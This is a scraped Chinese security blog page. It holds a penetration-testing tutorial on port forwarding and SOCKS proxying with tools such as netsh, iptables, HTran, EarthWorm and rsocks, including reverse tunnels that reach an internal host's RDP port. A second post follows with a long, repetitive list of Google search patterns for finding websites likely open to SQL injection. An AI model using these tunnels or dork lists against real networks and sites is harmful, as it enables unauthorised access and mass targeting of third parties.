中转服务器的搭建可参考之前的文章

《CIA Hive Beacon Infrastructure复现1——使用Apache mod_rewrite实现http流量分发》

《CIA Hive Beacon Infrastructure复现2——使用Apache mod_rewrite实现https流量分发》

2.建立通道

连接内网服务器的指定端口

Client能够正向连接到Transit server

1、测试环境

Client: 192.168.111.136

Server: 192.168.111.103

网络连接如下图

渗透测试之端口转发与代理

使用nc测试网络连接

Server:

[crayon-5be96259097bb415935356 inline="true" ]nc -lvp 4444
[/crayon]

Client:

[crayon-5be96259097c1184168489 inline="true" ]nc -vv 192.168.111.103 4444
[/crayon]

Client连接成功,如下图

渗透测试之端口转发与代理

2、Windows系统下的端口转发方法

Transit server: 192.168.111.132

网络连接如下图

渗透测试之端口转发与代理

1、使用netsh实现端口转发(需要管理员权限)

(1)添加转发规则

[crayon-5be96259097c6361200314 inline="true" ]netsh interface portproxy add v4tov4 listenaddress=192.168.111.132 listenport=7777 connectaddress=192.168.111.103  connectport=4444
[/crayon]

(2)添加防火墙入站规则

[crayon-5be96259097ca425402624 inline="true" ]netsh advfirewall firewall add rule name="transit test" protocol=TCP dir=in localport=7777 action=allow
[/crayon]

注:

默认配置允许出站并阻挡入站通信,所以此处仅需要添加入站规则

测试网络连接:

Server:

[crayon-5be96259097cf855282462 inline="true" ]nc -lvp 4444
[/crayon]

Client:

[crayon-5be96259097d4191747894 inline="true" ]nc -vv 192.168.111.132 7777
[/crayon]

Client连接成功

(3)查看端口转发规则

[crayon-5be96259097d8025292637 inline="true" ]netsh interface portproxy show all
[/crayon]

(4)清除端口转发规则

[crayon-5be96259097dd599721777 inline="true" ]netsh interface portproxy delete v4tov4 listenaddress=192.168.111.132 listenport=7777
[/crayon]

(5)清除防火墙规则

[crayon-5be96259097e2782791680 inline="true" ]netsh advfirewall firewall delete rule name="transit test"
[/crayon]

2、使用rinetd实现端口转发

下载地址:

https://boutell.com/rinetd/http/rinetd.zip

仅需要压缩包中的rinetd.exe

(1)为rinetd.exe添加防火墙规则(管理员权限)

[crayon-5be96259097e6750484838 inline="true" ]netsh advfirewall firewall add rule name="transit test2" dir=in program="c:\test\rinetd.exe" action=allow
[/crayon]

(2)编写转发规则

[crayon-5be96259097eb939743311 inline="true" ]echo 0.0.0.0 7777 192.168.111.103 4444 > conf.txt
[/crayon]

(3)启动

[crayon-5be96259097f0940421775 inline="true" ]rinetd.exe -c c:\test\conf.txt
[/crayon]

(4)清除防火墙规则(管理员权限)

[crayon-5be96259097f4682821033 inline="true" ]netsh advfirewall firewall delete rule name="transit test2" dir=in program="c:\test\rinetd.exe"
[/crayon]

3、使用HTran实现端口转发

注:

lcx同其功能类似

源码来源于互联网,我在github做了备份,备份地址:

https://raw.githubusercontent.com/3gstudent/test/master/HTran.cpp

(1)为HTran.exe添加防火墙规则(管理员权限)

[crayon-5be96259097f9022083847 inline="true" ]netsh advfirewall firewall add rule name="transit test3" dir=in program="c:\test\HTran.exe" action=allow
[/crayon]

(2)开启转发功能

[crayon-5be96259097fe498749447 inline="true" ]HTran.exe -tran 7777 192.168.111.103 4444
[/crayon]

(3)清除防火墙规则(管理员权限)

[crayon-5be9625909808637182810 inline="true" ]netsh advfirewall firewall delete rule name="transit test3" dir=in program="c:\test\HTran.exe"
[/crayon]

4、使用EarthWorm实现端口转发

下载地址:

https://github.com/rootkiter/EarthWorm

(1)为ew_for_win_32.exe添加防火墙规则(管理员权限)

[crayon-5be962590980d409187484 inline="true" ]netsh advfirewall firewall add rule name="transit test4" dir=in program="c:\test\ew_for_win_32.exe" action=allow
[/crayon]

(2)开启转发功能

[crayon-5be9625909811040063563 inline="true" ]ew_for_win_32.exe -s lcx_tran -l 7777 -f 192.168.111.103 -g 4444
[/crayon]

(3)清除防火墙规则(管理员权限)

[crayon-5be9625909816616175223 inline="true" ]netsh advfirewall firewall delete rule name="transit test4" dir=in program="c:\test\ew_for_win_32.exe"
[/crayon]

3、Linux系统(Ubuntu)下的常用端口转发方法

Transit server: 192.168.111.102

网络连接如下图

渗透测试之端口转发与代理

1、使用iptables实现端口转发

(1)开启转发功能

[crayon-5be962590981b659848566 inline="true" ]echo 1 >/proc/sys/net/ipv4/ip_forward
[/crayon]

注:

该命令立即生效,重启失效

(2)添加转发规则

[crayon-5be9625909820845563451 inline="true" ]iptables -t nat -A PREROUTING -p tcp -d 192.168.111.102 --dport 8888 -j DNAT --to-destination 192.168.111.103:4444
iptables -t nat -A POSTROUTING -p tcp -d 192.168.111.103 --dport 4444 -j SNAT --to-source 192.168.111.102
[/crayon]

(3)查看转发规则

[crayon-5be9625909824786075307 inline="true" ]iptables -L -t nat --line-number
[/crayon]

如下图

渗透测试之端口转发与代理

测试网络连接:

Server:

[crayon-5be9625909829510334035 inline="true" ]nc -lvp 4444
[/crayon]

Client:

[crayon-5be962590982d405871551 inline="true" ]nc -vv 192.168.111.102 8888
[/crayon]

Client连接成功

(4)清除规则

[crayon-5be9625909832791457839 inline="true" ]iptables -F -t nat
[/crayon]

(5)保存规则

[crayon-5be9625909836829886191 inline="true" ]iptables-save > /etc/iptables.up.rules
[/crayon]

(6)恢复规则

[crayon-5be962590983b992013209 inline="true" ]iptables-restore < /etc/iptables.up.rules
[/crayon]

2、使用rinetd实现端口转发

(1)编译安装

[crayon-5be9625909840913441708 inline="true" ]wget http://www.boutell.com/rinetd/http/rinetd.tar.gz
tar zxvf rinetd.tar.gz
cd rinetd
make
[/crayon]

(2)编写转发规则

[crayon-5be9625909844043087421 inline="true" ]echo 0.0.0.0 8888 192.168.111.103 4444 > /etc/rinetd.conf
[/crayon]

(3)启动

[crayon-5be9625909849851217765 inline="true" ]./rinetd.exe
[/crayon]

(4)结束进程

[crayon-5be962590984d877997709 inline="true" ]pkill -9 rinetd
[/crayon]

3、使用HTran实现端口转发

Linux版HTran(lcx)的源码参考如下地址:

https://github.com/windworst/LCX

需要使用gcc重新编译

(1)开启转发功能

[crayon-5be9625909852981706550 inline="true" ]./lcx -tran 8888 192.168.111.103 4444
[/crayon]

注:

go语言编写的HTran(lcx),优点是跨平台,支持Windows和Linux

下载地址:

https://github.com/cw1997/NATBypass

4、使用EarthWorm实现端口转发

下载地址:

https://github.com/rootkiter/EarthWorm

未开源

(1)开启转发功能

[crayon-5be9625909857933531412 inline="true" ]./ew_for_linux -s lcx_tran -l 8888 -f 192.168.111.103 -g 4444
[/crayon]

4、Linux系统(CentOS)下的常用端口转发方法

Transit server: 192.168.111.105

网络连接如下图

渗透测试之端口转发与代理

1、使用iptables实现端口转发

(1)开启转发功能

[crayon-5be962590985c654670122 inline="true" ]echo 1 >/proc/sys/net/ipv4/ip_forward
[/crayon]

注:

该命令立即生效,系统重启失效

(2)安装iptables

[crayon-5be9625909860293031491 inline="true" ]systemctl stop firewalld  
systemctl mask firewalld  
yum install iptables-services
systemctl enable iptables
[/crayon]

(3)添加转发规则

[crayon-5be9625909865419301086 inline="true" ]iptables -t nat -A PREROUTING -p tcp -d 192.168.111.105 --dport 8888 -j DNAT --to-destination 192.168.111.103:4444
iptables -t nat -A POSTROUTING -p tcp -d 192.168.111.103 --dport 4444 -j SNAT --to-source 192.168.111.105
service iptables save
service iptables restart
service iptables status
[/crayon]

(4)查看转发规则

[crayon-5be962590986a213743948 inline="true" ]iptables -L -t nat --line-number
[/crayon]

如下图

渗透测试之端口转发与代理

测试网络连接:

Server:

[crayon-5be962590986e723533701 inline="true" ]nc -lvp 4444
[/crayon]

Client:

[crayon-5be9625909873774467591 inline="true" ]nc -vv 192.168.111.105 8888
[/crayon]

Client连接成功

(4)清除规则

[crayon-5be9625909877542215825 inline="true" ]iptables -F -t nat
[/crayon]

2、使用rinetd实现端口转发

同Ubuntu,此处省略

3、使用HTran实现端口转发

同Ubuntu,此处省略

4、使用EarthWorm实现端口转发

同Ubuntu,此处省略

0x03 端口转发——反向连接


0、应用场景

1.建立通道

连接内网服务器的指定端口

测试环境如下图

渗透测试之端口转发与代理

已有Transit server权限,想要访问Server的3389端口

Client无法正向连接到Transit server,但Transit server能够反向连接到Client

iptables和rinetd不再适用

1、使用HTran

支持Windows和Linux

Client:

[crayon-5be962590987c597512921 inline="true" ]HTran -listen 1111 2222
[/crayon]

Transit server:

[crayon-5be9625909881546165501 inline="true" ]HTran -slave 1.1.1.1 1111 10.0.0.2 3389
[/crayon]

Client:

[crayon-5be9625909885002597379 inline="true" ]nc -vv 127.0.0.1 2222
[/crayon]

2、使用EarthWorm

支持Windows和Linux

Client:

[crayon-5be962590988a759709419 inline="true" ]ew -s lcx_listen -l 2222 -e 1111
[/crayon]

Transit server:

[crayon-5be962590988e117817915 inline="true" ]ew -s lcx_slave -d 1.1.1.1 -e 1111 -f 10.0.0.2 -g 3389
[/crayon]

Client:

[crayon-5be9625909893998901627 inline="true" ]nc -vv 127.0.0.1 2222
[/crayon]

0x04 正向代理


0、应用场景

1.内网扫描

对内网的多个端口进行扫描

Client能够正向连接到Transit server

测试环境如下图

渗透测试之端口转发与代理

要对Server1、Server2和Server3的端口进行扫描

Socks4代理只支持TCP协议,而Socks5代理支持TCP协议和UDP协议,更加全面,所以本文只介绍实现Socks5代理的方法

1、使用HTran

网上流传HTran2.4支持Socks5代理,但我未找到开源代码,此处作一个标记

2、使用EarthWorm

Transit server:

[crayon-5be9625909898392061740 inline="true" ]ew –s ssocksd –l 8888
[/crayon]

Client使用代理工具连接Transit server的8888端口

3、使用goproxy

go实现的高性能http,https,websocket,tcp,udp,socks5

,ss代理服务器,支持正向代理、反向代理、透明代理、内网穿透、TCP/UDP端口映射、SSH中转

下载地址:

https://github.com/snail007/goproxy/

Transit server:

[crayon-5be962590989d716261981 inline="true" ]proxy socks -t tcp -p "0.0.0.0:8888"
[/crayon]

Client使用代理工具连接Transit server的8888端口

4、自己使用go实现

Windows系统安装Go:

https://golang.org/dl/

安装git:

http://git-scm.com/downloads

安装go-socks5:

[crayon-5be96259098a1081566232 inline="true" ]go get github.com/armon/go-socks5
go build
[/crayon]

test.go:

[crayon-5be96259098a6650414392 inline="true" ]package main
import socks5 "github.com/armon/go-socks5"
func main() {
        conf := &socks5.Config{}
        server, err := socks5.New(conf)
        if err != nil {
          panic(err)
        }
        if err := server.ListenAndServe("tcp", "0.0.0.0:8888"); err != nil {
          panic(err)
        }
}
[/crayon]

编译

[crayon-5be96259098ac624518494 inline="true" ]go build test.go
[/crayon]

Client使用代理工具连接Transit server的8888端口

5、使用reGeorg

下载地址:

https://github.com/NoneNotNull/reGeorg

针对web服务器,支持(aspx ashx jsp php)

注:

Windows下连接socks代理的工具可使用sockscap64

Linux下连接socks代理的工具可使用proxychains

0x05 反向代理


0、应用场景

1.内网扫描

对内网的多个端口进行扫描

测试环境如下图

渗透测试之端口转发与代理

Client无法正向连接到Transit server,但Transit server能够反向连接到Client

要对Server1、Server2和Server3的端口进行扫描

1、使用EarthWorm

Client:

[crayon-5be96259098b1491311700 inline="true" ]ew -s rcsocks -l 2222 -e 1111
[/crayon]

Transit server:

[crayon-5be96259098b6800297129 inline="true" ]ew -s rssocks -d 1.1.1.1 -e 1111
[/crayon]

使用代理工具连接Client的2222端口

2、使用rsocks

下载地址:

https://github.com/brimstone/rsocks

Go语言编写,支持Windows和Linux

Client:

[crayon-5be96259098bb046232334 inline="true" ]rsocks -listen :1111 -socks 127.0.0.1:2222
[/crayon]

Transit server:

[crayon-5be96259098c0276312435 inline="true" ]rsocks -connect 1.1.1.1:1111
[/crayon]

使用代理工具连接Client的2222端口

0x06 小结


本文对端口转发和代理的常用工具和方法进行整理总结,

划分正向和反向连接两个类别,分别介绍了应用场景和常用工具,可作为实际应用的参考。

The post 渗透测试之端口转发与代理 常用端口转发方法 appeared first on 🔰雨苁ℒ🔰.


Google hack 查询注入点 批量搜索存在安全隐患的站点

$
0
0

Google hack 查询注入点 ctf工具包

Google hack 查询注入点

sql注入漏洞查询关键词如下

view_items.php?id=
home.php?cat=
item_book.php?CAT=
www/index.php?page=
schule/termine.php?view=
goods_detail.php?data=
storemanager/contents/item.php?page_code=
view_items.php?id=
customer/board.htm?mode=
help/com_view.html?code=
n_replyboard.php?typeboard=
eng_board/view.php?T****=
prev_results.php?prodID=
bbs/view.php?no=
gnu/?doc=
zb/view.php?uid=
global/product/product.php?gubun=
m_view.php?ps_db=
productlist.php?tid=
product-list.php?id=
onlinesales/product.php?product_id=
garden_equipment/Fruit-Cage/product.php?pr=
product.php?shopprodid=
product_info.php?products_id=
productlist.php?tid=
showsub.php?id=
productlist.php?fid=
products.php?cat=
products.php?cat=
product-list.php?id=
product.php?sku=
store/product.php?productid=
products.php?cat=
productList.php?cat=
product_detail.php?product_id=
product.php?pid=
view_items.php?id=
more_details.php?id=
county-facts/diary/vcsgen.php?id=
idlechat/message.php?id=
podcast/item.php?pid=
products.php?act=
details.php?prodId=
socsci/events/full_details.php?id=
ourblog.php?categoryid=
mall/more.php?ProdID=
archive/get.php?message_id=
review/review_form.php?item_id=
english/publicproducts.php?groupid=
news_and_notices.php?news_id=
rounds-detail.php?id=
gig.php?id=
board/view.php?no=
index.php?modus=
news_item.php?id=
rss.php?cat=
products/product.php?id=
details.php?ProdID=
els_/product/product.php?id=
store/description.php?iddesc=
socsci/news_items/full_story.php?id=
naboard/memo.php?bd=
bookmark/mybook/bookmark.php?bookPageNo=
board/board.html?table=
kboard/kboard.php?board=
order.asp?lotid=
goboard/front/board_view.php?code=
bbs/bbsView.php?id=
boardView.php?bbs=
eng/rgboard/view.php?&bbs_id=
product/product.php?cate=
content.php?p=
page.php?module=
?pid=
bookpage.php?id=
cbmer/congres/page.php?LAN=
content.php?id=
news.php?ID=
photogallery.php?id=
index.php?id=
product/product.php?product_no=
nyheder.htm?show=
book.php?ID=
print.php?id=
detail.php?id=
book.php?id=
content.php?PID=
more_detail.php?id=
content.php?id=
view_items.php?id=
view_author.php?id=
main.php?id=
english/fonction/print.php?id=
magazines/adult_magazine_single_page.php?magid=
product_details.php?prodid=
magazines/adult_magazine_full_year.php?magid=
products/card.php?prodID=
catalog/product.php?cat_id=
e_board/modifyform.html?code=
community/calendar-event-fr.php?id=
products.php?p=
news.php?id=
StoreRedirect.php?ID=
subcategories.php?id=
tek9.php?
template.php?Action=Item&pid=
topic.php?ID=
tuangou.php?bookid=
type.php?iType=
updatebasket.php?bookid=
updates.php?ID=
view.php?cid=
view_cart.php?title=
view_detail.php?ID=
viewcart.php?CartId=
viewCart.php?userID=
viewCat_h.php?idCategory=
viewevent.php?EventID=
viewitem.php?recor=
viewPrd.php?idcategory=
ViewProduct.php?misc=
voteList.php?item_ID=
whatsnew.php?idCategory=
WsAncillary.php?ID=
WsPages.php?ID=noticiasDetalle.php?xid=
sitio/item.php?idcd=
index.php?site=
de/content.php?page_id=
gallerysort.php?iid=
docDetail.aspx?chnum=
index.php?section=
index.php?page=
index.php?page=
en/publications.php?id=
events/detail.php?ID=
forum/profile.php?id=
media/pr.php?id=
content.php?ID=
cloudbank/detail.php?ID=
pages.php?id=
news.php?id=
beitrag_D.php?id=
content/index.php?id=
index.php?i=
?action=
index.php?page=
beitrag_F.php?id=
index.php?pageid=
page.php?modul=
detail.php?id=
index.php?w=
index.php?modus=
news.php?id=
news.php?id=
aktuelles/meldungen-detail.php?id=
item.php?id=
obio/detail.php?id=
page/de/produkte/produkte.php?prodID=
packages_display.php?ref=
shop/index.php?cPath=
modules.php?bookid=
view/7/9628/1.html?reply=
product_details.php?prodid=
catalog/product.php?pid=
rating.php?id=
?page=
catalog/main.php?cat_id=
index.php?page=
detail.php?prodid=
products/product.php?pid=
news.php?id=
book_detail.php?BookID=
catalog/main.php?cat_id=
catalog/main.php?cat_id=
default.php?cPath=
catalog/main.php?cat_id=
catalog/main.php?cat_id=
category.php?catid=
categories.php?cat=
categories.php?cat=
detail.php?prodID=
detail.php?id=
category.php?id=
hm/inside.php?id=
index.php?area_id=
gallery.php?id=
products.php?cat=
products.php?cat=
media/pr.php?id=
books/book.php?proj_nr=
products/card.php?prodID=
general.php?id=
news.php?t=
usb/devices/showdev.php?id=
content/detail.php?id=
templet.php?acticle_id=
news/news/title_show.php?id=
product.php?id=
index.php?url=
cryolab/content.php?cid=
ls.php?id=
s.php?w=
abroad/page.php?cid=
bayer/dtnews.php?id=
news/temp.php?id=
index.php?url=
book/bookcover.php?bookid=
index.php/en/component/pvm/?view=
product/list.php?pid=
cats.php?cat=
software_categories.php?cat_id=
print.php?sid=
about.php?cartID=
accinfo.php?cartId=
acclogin.php?cartID=
add.php?bookid=
add_cart.php?num=
addcart.php?
addItem.php
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=
adminEditProductFields.php?intProdID=
advSearch_h.php?idCategory=
affiliate.php?ID=
affiliate-agreement.cfm?storeid=
affiliates.php?id=
ancillary.php?ID=
archive.php?id=
article.php?id=
phpx?PageID
basket.php?id=
Book.php?bookID=
book_list.php?bookid=
book_view.php?bookid=
BookDetails.php?ID=
browse.php?catid=
browse_item_details.php
Browse_Item_Details.php?Store_Id=
buy.php?
buy.php?bookid=
bycategory.php?id=
cardinfo.php?card=
cart.php?action=
cart.php?cart_id=
news.php?id=
aktuelles/meldungen-detail.php?id=
item.php?id=
obio/detail.php?id=
page/de/produkte/produkte.php?prodID=
packages_display.php?ref=
shop/index.php?cPath=
modules.php?bookid=
product-range.php?rangeID=
en/news/fullnews.php?newsid=
deal_coupon.php?cat_id=
show.php?id=
blog/index.php?idBlog=
redaktion/whiteteeth/detail.php?nr=
HistoryStore/pages/item.php?itemID=
aktuelles/veranstaltungen/detail.php?id=
tecdaten/showdetail.php?prodid=
?id=
rating/stat.php?id=
content.php?id=
viewapp.php?id=
item.php?id=
news/newsitem.php?newsID=
FernandFaerie/index.php?c=
show.php?id=
?cat=
categories.php?cat=
category.php?c=
product_info.php?id=
prod.php?cat=
store/product.php?productid=
browsepr.php?pr=
product-list.php?cid=
products.php?cat_id=
product.php?ItemID=
view-event.php?id=
content.php?id=
book.php?id=
page/venue.php?id=
print.php?sid=
colourpointeducational/more_details.php?id=
print.php?sid=
browse/book.php?journalID=
section.php?section=
bookDetails.php?id=
profiles/profile.php?profileid=
event.php?id=
gallery.php?id=
category.php?CID=
corporate/newsreleases_more.php?id=
print.php?id=
view_items.php?id=
more_details.php?id=
county-facts/diary/vcsgen.php?id=
idlechat/message.php?id=
podcast/item.php?pid=
products.php?act=
details.php?prodId=
socsci/events/full_details.php?id=
ourblog.php?categoryid=
mall/more.php?ProdID=
archive/get.php?message_id=
review/review_form.php?item_id=
english/publicproducts.php?groupid=
news_and_notices.php?news_id=
rounds-detail.php?id=
gig.php?id=
board/view.php?no=
index.php?modus=
news_item.php?id=
rss.php?cat=
products/product.php?id=
details.php?ProdID=
els_/product/product.php?id=
store/description.php?iddesc=
socsci/news_items/full_story.php?id=
modules/forum/index.php?topic_id=
feature.php?id=
products/Blitzball.htm?id=
profile_print.php?id=
questions.php?questionid=
html/scoutnew.php?prodid=
main/index.php?action=
********.php?cid=
********.php?cid=
news.php?type=
index.php?page=
viewthread.php?tid=
summary.php?PID=
news/latest_news.php?cat_id=
index.php?cPath=
category.php?CID=
index.php?pid=
more_details.php?id=
specials.php?osCsid=
search/display.php?BookID=
articles.php?id=
print.php?sid=
page.php?id=
more_details.php?id=
newsite/pdf_show.php?id=
shop/category.php?cat_id=
shopcafe-shop-product.php?bookId=
shop/books_detail.php?bookID=
index.php?cPath=
more_details.php?id=
news.php?id=
more_details.php?id=
shop/books_detail.php?bookID=
more_details.php?id=
blog.php?blog=
index.php?pid=
prodotti.php?id_cat=
category.php?CID=
more_details.php?id=
poem_list.php?bookID=
more_details.php?id=
content.php?categoryId=
authorDetails.php?bookID=
press_release.php?id=
item_list.php?cat_id=
colourpointeducational/more_details.php?id=
index.php?pid=
download.php?id=
shop/category.php?cat_id=
i-know/content.php?page=
store/index.php?cat_id=
yacht_search/yacht_view.php?pid=
pharmaxim/category.php?cid=
print.php?sid=
specials.php?osCsid=
store.php?cat_id=
category.php?cid=
displayrange.php?rangeid=
product.php?id=
csc/news-details.php?cat=
products-display-details.php?prodid=
stockists_list.php?area_id=
news/newsitem.php?newsID=
index.php?pid=
newsitem.php?newsid=
category.php?id=
news/newsitem.php?newsID=
details.php?prodId=
publications/publication.php?id=
purelydiamond/products/category.php?cat=
category.php?cid=
product/detail.php?id=
news/newsitem.php?newsID=
details.php?prodID=
item.php?item_id=
edition.php?area_id=
page.php?area_id=
view_newsletter.php?id=
feedback.php?title=
freedownload.php?bookid=
fullDisplay.php?item=
getbook.php?bookid=
GetItems.php?itemid=
giftDetail.php?id=
help.php?CartId=
home.php?id=
index.php?cart=
index.php?cartID=
index.php?ID=
info.php?ID=
item.php?eid=
item.php?item_id=
item.php?itemid=
item.php?model=
item.php?prodtype=
item.php?shopcd=
item_details.php?catid=
item_list.php?maingroup
item_show.php?code_no=
itemDesc.php?CartId=
itemdetail.php?item=
itemdetails.php?catalogid=
learnmore.php?cartID=
links.php?catid=
list.php?bookid=
List.php?CatID=
listcategoriesandproducts.php?idCategory=
modline.php?id=
myaccount.php?catid=
updates.php?ID=
view.php?cid=
view_cart.php?title=
view_detail.php?ID=
viewcart.php?CartId=
viewCart.php?userID=
viewCat_h.php?idCategory=
viewevent.php?EventID=
viewitem.php?recor=
viewPrd.php?idcategory=
ViewProduct.php?misc=
voteList.php?item_ID=
whatsnew.php?idCategory=
WsAncillary.php?ID=
WsPages.php?ID=noticiasDetalle.php?xid=
sitio/item.php?idcd=
index.php?site=
de/content.php?page_id=
gallerysort.php?iid=
products.php?type=
event.php?id=
showfeature.php?id=
home.php?ID=
tas/event.php?id=
profile.php?id=
details.php?id=
past-event.php?id=
index.php?action=
site/products.php?prodid=
page.php?pId=
resources/vulnerabilities_list.php?id=
site.php?id=
products/index.php?rangeid=
global_projects.php?cid=
publications/view.php?id=
display_page.php?id=
pages.php?ID=
lmsrecords_cd.php?cdid=
product.php?prd=
cat/?catid=
products/product-list.php?id=
debate-detail.php?id=
cbmer/congres/page.php?LAN=
content.php?id=
news.php?ID=
photogallery.php?id=
index.php?id=
product/product.php?product_no=
nyheder.htm?show=
book.php?ID=
print.php?id=
detail.php?id=
book.php?id=
content.php?PID=
more_detail.php?id=
content.php?id=
view_items.php?id=
view_author.php?id=
main.php?id=
english/fonction/print.php?id=
magazines/adult_magazine_single_page.php?magid=
product_details.php?prodid=
magazines/adult_magazine_full_year.php?magid=
products/card.php?prodID=
catalog/product.php?cat_id=
e_board/modifyform.html?code=
community/calendar-event-fr.php?id=
products.php?p=
news.php?id=
view/7/9628/1.html?reply=
product_details.php?prodid=
catalog/product.php?pid=
rating.php?id=
?page=
catalog/main.php?cat_id=
index.php?page=
detail.php?prodid=
products/product.php?pid=
news.php?id=
book_detail.php?BookID=
catalog/main.php?cat_id=
catalog/main.php?cat_id=
default.php?cPath=
catalog/main.php?cat_id=
catalog/main.php?cat_id=
category.php?catid=
categories.php?cat=
categories.php?cat=
detail.php?prodID=
detail.php?id=
category.php?id=
hm/inside.php?id=
index.php?area_id=
gallery.php?id=
products.php?cat=
products.php?cat=
media/pr.php?id=
books/book.php?proj_nr=
products/card.php?prodID=
general.php?id=
news.php?t=
usb/devices/showdev.php?id=
content/detail.php?id=
templet.php?acticle_id=
news/news/title_show.php?id=
product.php?id=
index.php?url=
cryolab/content.php?cid=
ls.php?id=
s.php?w=
abroad/page.php?cid=
bayer/dtnews.php?id=
news/temp.php?id=
index.php?url=
book/bookcover.php?bookid=
index.php/en/component/pvm/?view=
product/list.php?pid=
cats.php?cat=
software_categories.php?cat_id=
print.php?sid=
docDetail.aspx?chnum=
index.php?section=
index.php?page=
index.php?page=
en/publications.php?id=
events/detail.php?ID=
category.php?c=
main.php?id=
article.php?id=
showproduct.php?productId=
view_item.php?item=
skunkworks/content.php?id=
index.php?id=
item_show.php?id=
publications.php?Id=
index.php?t=
view_items.php?id=
portafolio/portafolio.php?id=
YZboard/view.php?id=
index_en.php?ref=
index_en.php?ref=
category.php?id_category=
main.php?id=
main.php?id=
calendar/event.php?id=
default.php?cPath=
pages/print.php?id=
index.php?pg_t=
_news/news.php?id=
forum/showProfile.php?id=
fr/commande-liste-categorie.php?panier=
downloads/shambler.php?id=
sinformer/n/imprimer.php?id=
More_Details.php?id=
directory/contenu.php?id_cat=
properties.php?id_cat=
forum/showProfile.php?id=
downloads/category.php?c=
index.php?cat=
product_info.php?products_id=
product_info.php?products_id=
product-list.php?category_id=
detail.php?siteid=
projects/event.php?id=
view_items.php?id=
more_details.php?id=
melbourne_details.php?id=
more_details.php?id=
detail.php?id=
more_details.php?id=
home.php?cat=
idlechat/message.php?id=
detail.php?id=
print.php?sid=
more_details.php?id=
default.php?cPath=
events/event.php?id=
brand.php?id=
toynbeestudios/content.php?id=
show-book.php?id=
more_details.php?id=
store/default.php?cPath=
property.php?id=
product_details.php?id=
more_details.php?id=
product.php?shopprodid=
product.php?productid=
product.php?product=
product.php?product_id=
productlist.php?id=
product.php?shopprodid=
garden_equipment/pest-weed-control/product.php?pr=
product.php?shopprodid=
browsepr.php?pr=
productlist.php?id=
kshop/product.php?productid=
product.php?pid=
showproduct.php?prodid=
product.php?productid=
productlist.php?id=
index.php?pageId=
productlist.php?tid=
product-list.php?id=
onlinesales/product.php?product_id=
garden_equipment/Fruit-Cage/product.php?pr=
product.php?shopprodid=
product_info.php?products_id=
productlist.php?tid=
showsub.php?id=
productlist.php?fid=
products.php?cat=
products.php?cat=
product-list.php?id=
product.php?sku=
productlist.php?grpid=
cart/product.php?productid=
db/CART/product_details.php?product_id=
ProductList.php?id=
products/product.php?id=
product.php?shopprodid=
product_info.php?products_id=
product_ranges_view.php?ID=
cei/cedb/projdetail.php?projID=
products.php?DepartmentID=
product.php?shopprodid=
product.php?shopprodid=
product_info.php?products_id=
index.php?news=
education/content.php?page=
Interior/productlist.php?id=
products.php?categoryID=
?pid=
bookpage.php?id=
view_items.php?id=
index.php?pagina=
product.php?prodid=
notify/notify_form.php?topic_id=
php/index.php?id=
content.php?cid=
product.php?product_id=
constructies/product.php?id=
detail.php?id=
php/index.php?id=
index.php?section=
product.php?****=
show_bug.cgi?id=
detail.php?id=
bookpage.php?id=
product.php?id=
today.php?eventid=
main.php?item=
index.php?cPath=
news.php?id=
event.php?id=
print.php?sid=
news/news.php?id=
module/range/dutch_windmill_collection.php?rangeId=
print.php?sid=
show_bug.cgi?id=
product_details.php?product_id=
products.php?groupid=
projdetails.php?id=
product.php?productid=
products.php?catid=
product.php?product_id=
product.php?prodid=
product.php?prodid=
newsitem.php?newsID=
newsitem.php?newsid=
profile.php?id=
********s_in_area.php?area_id=
productlist.php?id=
productsview.php?proid=
rss.php?cat=
pub/pds/pds_view.php?start=
products.php?rub=
ogloszenia/rss.php?cat=
print.php?sid=
product.php?id=
print.php?sid=
magazin.php?cid=
galerie.php?cid=
www/index.php?page=
view.php?id=
content.php?id=
board/read.php?tid=
product.php?id_h=
news.php?id=
index.php?book=
products.php?act=
reply.php?id=
isplay.php?ID=
display.php?ID=
ponuky/item_show.php?ID=
default.php?cPath=
main/magpreview.php?id=
***zine/board.php?board=
content.php?arti_id=
mall/more.php?ProdID=
product.php?cat=
news.php?id=
content/view.php?id=
content.php?id=
index.php?action=
board_view.php?s_board_id=
KM/BOARD/readboard.php?id=
board_view.html?id=
content.php?cont_title=
category.php?catid=
mall/more.php?ProdID=
publications.php?id=
irbeautina/product_detail.php?product_id=
print.php?sid=
index_en.php?id=
bid/topic.php?TopicID=
news_content.php?CategoryID=
front/bin/forumview.phtml?bbcode=
cat.php?cat_id=
stat.php?id=
veranstaltungen/detail.php?id=
more_details.php?id=
english/print.php?id=
print.php?id=
view_item.php?id=
content/conference_register.php?ID=
rss/event.php?id=
event.php?id=
main.php?id=
rtfe.php?siteid=
category.php?cid=
classifieds/detail.php?siteid=
tools/print.php?id=
channel/channel-layout.php?objId=
content.php?id=
resources/detail.php?id=
more_details.php?id=
detail.php?id=
view_items.php?id=
content/programme.php?ID=
detail.php?id=
default.php?cPath=
more_details.php?id=
content.php?id=
view_items.php?id=
default.php?cPath=
book.php?id=
view_items.php?id=
products/parts/detail.php?id=
category.php?cid=
book.html?isbn=
view_item.php?id=
picgallery/category.php?cid=
detail.php?id=
print.php?sid=
displayArticleB.php?id=
knowledge_base/detail.php?id=
bpac/calendar/event.php?id=
mb_showtopic.php?topic_id=
pages.php?id=
content.php?id=
exhibition_overview.php?id=
singer/detail.php?siteid=
Category.php?cid=
detail.php?id=
print.php?sid=
category.php?cid=
more_detail.php?X_EID=
book.php?ISBN=
view_items.php?id=
category.php?cid=
htmlpage.php?id=
story.php?id=
tools/print.php?id=
print.php?sid=
php/event.php?id=
print.php?sid=
articlecategory.php?id=
print.php?sid=
ibp.php?ISBN=
club.php?cid=
view_items.php?id=
aboutchiangmai/details.php?id=
view_items.php?id=
book.php?isbn=
blog_detail.php?id=
event.php?id=
default.php?cPath=
product_info.php?products_id=
shop_display_products.php?cat_id=
print.php?sid=
modules/content/index.php?id=
printcards.php?ID=
events/event.php?ID=
more_details.php?id=
default.php?TID=
general.php?id=
detail.php?id=
event.php?id=
referral/detail.php?siteid=
view_items.php?id=
event.php?id=
view_items.php?id=
category.php?id=
cemetery.php?id=
index.php?cid=
content.php?id=
exhibitions/detail.php?id=
bookview.php?id=
edatabase/home.php?cat=
view_items.php?id=
store/view_items.php?id=
print.php?sid=
events/event_detail.php?id=
view_items.php?id=
detail.php?id=
pages/video.php?id=
about_us.php?id=
recipe/category.php?cid=
view_item.php?id=
en/main.php?id=
print.php?sid=
More_Details.php?id=
category.php?cid=
home.php?cat=
article.php?id=
page.php?id=
print-story.php?id=
psychology/people/detail.php?id=
print.php?sid=
print.php?ID=
article_preview.php?id=
